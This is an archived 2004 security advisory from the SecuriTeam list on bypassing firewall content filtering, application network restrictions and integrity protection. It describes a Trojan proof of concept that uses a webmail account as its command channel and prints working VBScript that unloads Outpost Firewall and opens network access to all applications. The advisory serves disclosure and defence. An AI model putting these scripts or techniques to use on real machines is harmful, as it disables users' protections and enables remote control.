

# [REVS] Bypassing Client Application Protection Techniques

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0003.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 11/01/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 1 Nov 2004 10:52:32 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Bypassing Client Application Protection Techniques

---

## SUMMARY

The below document tries to illustrate different methods with which a malicious attacker can bypass different types of client-side application protection programs.

## DETAILS

Affected products:

- \* CheckPoint VPN-1(TM) & FireWall-1(R) NG with Application Intelligence (R55) HFA 9
- \* Microsoft Windows XP SP2
- \* Agnitum Outpost Pro 2.1, 2.5
- \* Tiny Firewall Pro v6.0.100
- \* ZoneAlarm Pro with Web Filtering v4.5.594
- \* BlackICE PC Protection 3.6
- \* Kerio Personal Firewall 4.0
- \* WRQ ATGuard 3.2

Introduction

1.1 Front end security

## Securiteam: [REVS] Bypassing Client Application Protection Techniques

Last years were revolutionary for network services infrastructure security. In addition to more secure and stable operation systems and services, we've got a lot of industrial solutions – stateful firewalls with level 7 inspection, intrusion detection and intrusion prevention systems, reliable clusters and distributed solutions to fight DDoS attacks... And we got actually nothing in the field of client application protection. Security of client network applications, such as browsers, mail and instant messaging agents is on the same level it was 5 years ago, and things became worse, because these applications are now critical for business, we can not simply stop using e-mail.

Client application security is very important, because same application can be used to process untrusted, potentially dangerous data as well as sensitive information.

We, as many security professionals, have a feeling industry moves to wrong direction in the area of client application security. To demonstrate this point of view, this article was written. We discuss some methods of breaking into managed, protected corporate network without any special skills. "Exploits" illustrating this article were written with notepad.exe.

1.2 What do you use to protect your client systems against Internet attack?

There are very few widely deployed techniques. Among them are: content filtering on corporate firewall (including antiviral filtering) and personal antiviruses and personal firewalls (PFW). In addition to content filtering personal firewalls implement integrity control for applications and system by controlling integrity of the files, blocking access to some API functions and limiting network access to only trusted applications.

Of cause, there are few really interesting approaches to secure client applications, some of them are discussed later, but usually these techniques are not generally used.

1.3 What will we demonstrate.

We will not teach you how to attack any specific client application. Latest Mozilla experience demonstrate, security bug in client application can always be found for approximately \$500 (should we talk about Internet Explorer? Mozilla goes with discounted price because not demanded on zombi market). We will try to illustrate, that \$500 is, probably, all that required to get access to your network. It doesn't depend on protection techniques listed above, because protection can be bypassed by any schoolboy. If this protection is all you have, you have no protection at all. In fact, iDEFENSE makes more for community than any PWF vendor (it's not a joke): it pays for newly discovered security issue more than shadow market does. At least you have additional \$500 to your security this way.

Problem of paid vulnerability research is not black-and-white like one can believe. Without commercial software or commercial services freeware would

not survive, because good programmer needs money. Same tendencies are in vulnerability research. C'est la vie. We can discuss it.

Full-disclosure? Who believe in it...

So, we proudly present you how to:

Bypass content filtering for corporate and personal firewall (yes, again, and again and again). Bypass network access protection for personal firewall Bypass integrity protection for personal firewall or antivirus.

Above is a list of tested products. It's incomplete. Some vendors were contacted and replied. Some fixes were published, but none of contacted vendors was able to fix all problems discussed. We do not believe it's possible in nearest future to prevent corporate network protected only with firewalls, personal firewalls and antiviruses from being hacked by the schoolboy.

### 2. Bypassing content filtering again and again and again

Axiom: there is always one more way to bypass content filter.

Explanation: because content filter and client application use different algorithms for data processing, there is always data processed differently by client application and content filter.

#### 2.1 Configuration used

In our configuration we used content filtering features of 2 firewalls: Checkpoint as corporate firewall and Agnitum Outpost Pro as a personal firewall. Both firewalls were set to filter scripting and ActiveX elements. By using few techniques described in [1] we wrote a set of tests to attack Internet Explorer protected by these 2 firewalls (and additionally with 2 different antiviruses) on 2 different levels to execute JavaScript.

#### 2.2 Test descriptions:

2.2.1 <<http://www.security.nnov.ru/files/opossum/test1.htm>>

<http://www.security.nnov.ru/files/opossum/test1.htm>

Problem with special characters (0x0B) demonstrated. [1].II.9

2.2.2 <<http://www.security.nnov.ru/files/opossum/test2.html>>

<http://www.security.nnov.ru/files/opossum/test2.html>

Problem with RFC2781 decoding (UTF-16, little endian). [1].II.1

2.2.3 <<http://www.security.nnov.ru/files/opossum/test3.html>>

<http://www.security.nnov.ru/files/opossum/test3.html>

Problem with RFC2781 decoding (UTF-16, big endian). [1].II.1

2.2.4 <<http://www.security.nnov.ru/files/opossum/test4.gif>>

<http://www.security.nnov.ru/files/opossum/test4.gif>

Different approach of different clients to content type definition

[1].II.13

## Securiteam: [REVS] Bypassing Client Application Protection Techniques

2.2.5 <<http://www.security.nnov.ru/files/opossum/test5.gif>>

<http://www.security.nnov.ru/files/opossum/test5.gif>

Same as 2.2.4 + exploitation of stream buffering.

2.2.6 <<http://www.security.nnov.ru/files/opossum/test6.html>>

<http://www.security.nnov.ru/files/opossum/test6.html>

Problem with special characters (0x00) demonstrated. [1].II.9

2.2.7 <<http://www.security.nnov.ru/files/opossum/test7.asp>>

<http://www.security.nnov.ru/files/opossum/test7.asp>

Inability to parse UTF-7 encoding (with Content-Type) [1].II.2

2.2.8 <<http://www.security.nnov.ru/files/opossum/test8.html>>

<http://www.security.nnov.ru/files/opossum/test8.html>

Inability to parse UTF-7 encoding (with Meta http-equiv) [1].II.2

2.2.9 <<http://www.security.nnov.ru/files/opossum/test9.html>>

<http://www.security.nnov.ru/files/opossum/test9.html>

Inability to catch scripting via expression(). Was described by http-equiv (malware.com).

2.2.10 <<http://www.security.nnov.ru/files/opossum/test10.html>>

<http://www.security.nnov.ru/files/opossum/test10.html>

Inability to catch scripting in styles [1].II.15

2.2.11 <<http://www.security.nnov.ru/files/opossum/test11.mht>>

<http://www.security.nnov.ru/files/opossum/test11.mht>

Inability to parse MHT files (RFC 2557)

Content filtering bypass techniques used are known for years. Outpost failed all tests. Checkpoint failed 2.2.2, 2.2.3, 2.2.6, 2.2.8, 2.2.9, 2.2.10, 2.2.11.

### 2.3 Vendors:

Both Checkpoint and Agnitum were contacted. Checkpoint covers issues discussed in R55HFA10. 2.2.10 and 2.2.11 additionally require disabling CSS and MHT with special settings (I do not believe it can be accepted as solution). Agnitum fixes very few issues in Outpost 2.5 version. Please, check your own content filter before blaming Agnitum or Checkpoint.

## 3. Bypassing network access restrictions with trusted application

Axiom: Malware is indistinguishable from user application

Next step after successful client application attack is usually getting remote control on attacked computer.

Personal firewall usually restricts access to network to the list of allowed application. In addition, integrity of these applications is controlled to prevent code insertion into executable file. It makes it impossible to install Trojan application with direct network access.

## Securiteam: [REVS] Bypassing Client Application Protection Techniques

Common idea behind bypassing this protection is using trusted application (for example browser) to access external network. Usually, execution flow of target application with DLL injection technique, WriteProcessMemory(), CreateRemoteThread() or something like this. You can find description in [1] and [2]. These methods require programming skills, additionally, personal firewall could set a hooks to protect against this kind of attack. Additionally, Trojan application in this case should implement almost all network functions, including network topology discovery and proxy communication.

Additionally, access of client application can be limited only to a list of trusted sites.

Our approach is very simple. We call it CAT (Client Application Trojaning). We use trusted application itself without attempt to hack into it's code. <<http://www.security.nnov.ru/files/ opossum/CAT.zip>> <http://www.security.nnov.ru/files/ opossum/CAT.zip> is simple PoC application. CAT uses COM to launch and control client application (Internet Explorer). This allows practically full access to the IE recourses, so we can ask IE to navigate to our site, and IE will use its proxy's and other settings. We don't need to include http-client code in our application – IE does all work for us.

Another interesting thing – it's a work via trusted sites. In our example Trojan uses www.mail.ru server to communicate with bad guy, but it easy to use other trusted network services, for example Google's proxy ( <<http://translate.google.com/translate?hl=en&u=www.phrack.org>> <http://translate.google.com/translate?hl=en&u=www.phrack.org>). Additionally almost any search system can be used as proxy with only limitation that each iteration may require few days.

This CAT PoC works as next:

- It creates IE COM object, navigates to www.mail.ru site.
- CAT passes username and password to the site, and gets access to mailbox
- CAT sends notification message "ready" to specified mailbox
- Every 20 seconds CAT checks mailbox for messages with XXX.request subject (XXX – integer number).
- If message appears in mailbox, CAT reads it, deletes message, and process it's data as a batch file.
- Execution results are send to predefined account.

remove IE.Visible = true  
line to run application in hidden mode.

All this great functionality lies in 100 lines of VBS. You see, Basic can be more effective than assembler. ILOVEYOU and another scripting viruses demonstrated application like this can be written by 14 y.o. schoolboys. VBS can be executed from Microsoft Office applications, Windows Explorer, Internet Explorer, etc.

## Securiteam: [REVS] Bypassing Client Application Protection Techniques

All personal firewalls tested, except Outpost 2.5 failed to detect information leak with this script. Outpost 2.5 requires minor modification for original script to start one additional IE instance before launching IE via COM, script modification is set as homework.

### 4. Bypassing personal firewall integrity protection

Axiom: Malware is indistinguishable from user

This script unloads Outpost firewall (any version)

```
set WShell = CreateObject("WScript.Shell")
```

```
WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
```

```
WScript.Sleep 200
```

```
WShell.AppActivate "Agnitum", TRUE
```

```
WScript.Sleep 100
```

```
WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
```

```
WScript.Sleep 100
```

```
WShell.SendKeys "{ENTER}"
```

Another one creates a rule to permit Internet access for all applications

```
set WShell = CreateObject("WScript.Shell")
```

```
WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
```

```
WScript.Sleep 100
```

```
WShell.AppActivate "Agnitum", TRUE
```

```
WScript.Sleep 10
```

```
WShell.SendKeys "{F10}{LEFT}{LEFT}{LEFT}"
```

```
WScript.Sleep 10
```

```
WShell.SendKeys "{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}"
```

```
WScript.Sleep 10
```

```
WShell.SendKeys "a{ENTER}"
```

```
WScript.Sleep 10
```

```
WShell.SendKeys "{F10}{LEFT}{DOWN}"
```

```
WScript.Sleep 10
```

```
WShell.SendKeys "n"
```

### 5. Final noise.

Axiom: There is no cure against unknown Malware. There are no Axioms in client application protection.

The only way to somehow secure client application is implementing sandbox for any application to work with untrusted data. There are attempts to implement such sandbox without limiting it's functionality, for example GeSWall [4](by the way this project is looking for sponsor or investor). There are few commercial solutions of this kind, I do not believe any of this solution provides reliable security for Internet client application. Virtual machines for most architectures also have known flaws. Most reliable way to protect client application for now is creation of additional DMZ for application servers and providing terminal access to untrusted applications inside DMZ. Configuration example can be found in

## Securiteam: [REVS] Bypassing Client Application Protection Techniques

[5]. Of course, this approach is not 100% reliable too.

That's all.

### 6. Links:

[1] 3APA3A, Bypassing content filtering software  
<http://www.security.nnov.ru/advisories/content.asp>

[2] Firewall leak tester <http://www.firewallleaktester.com/>

[3] rattle, Using Process Infection to Bypass Windows Software Firewalls  
<http://www.phrack.org/show.php?p=62&a=13>

[4] GeSWall (General Systems Wall) <http://www.securesize.com/>

[5] offtopic, 3APA3A, "In front of front-end security"  
<http://www.linuxchile.cl/docs.php?op=ver&id=65>

### ADDITIONAL INFORMATION

The information has been provided by <mailto:3APA3A@security.nnov.ru>  
3APA3A and <mailto:offtopic@mail.ru> offtopic.

The original article can be found at:

<<http://www.security.nnov.ru/advisories/bypassing.asp>>  
<http://www.security.nnov.ru/advisories/bypassing.asp>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.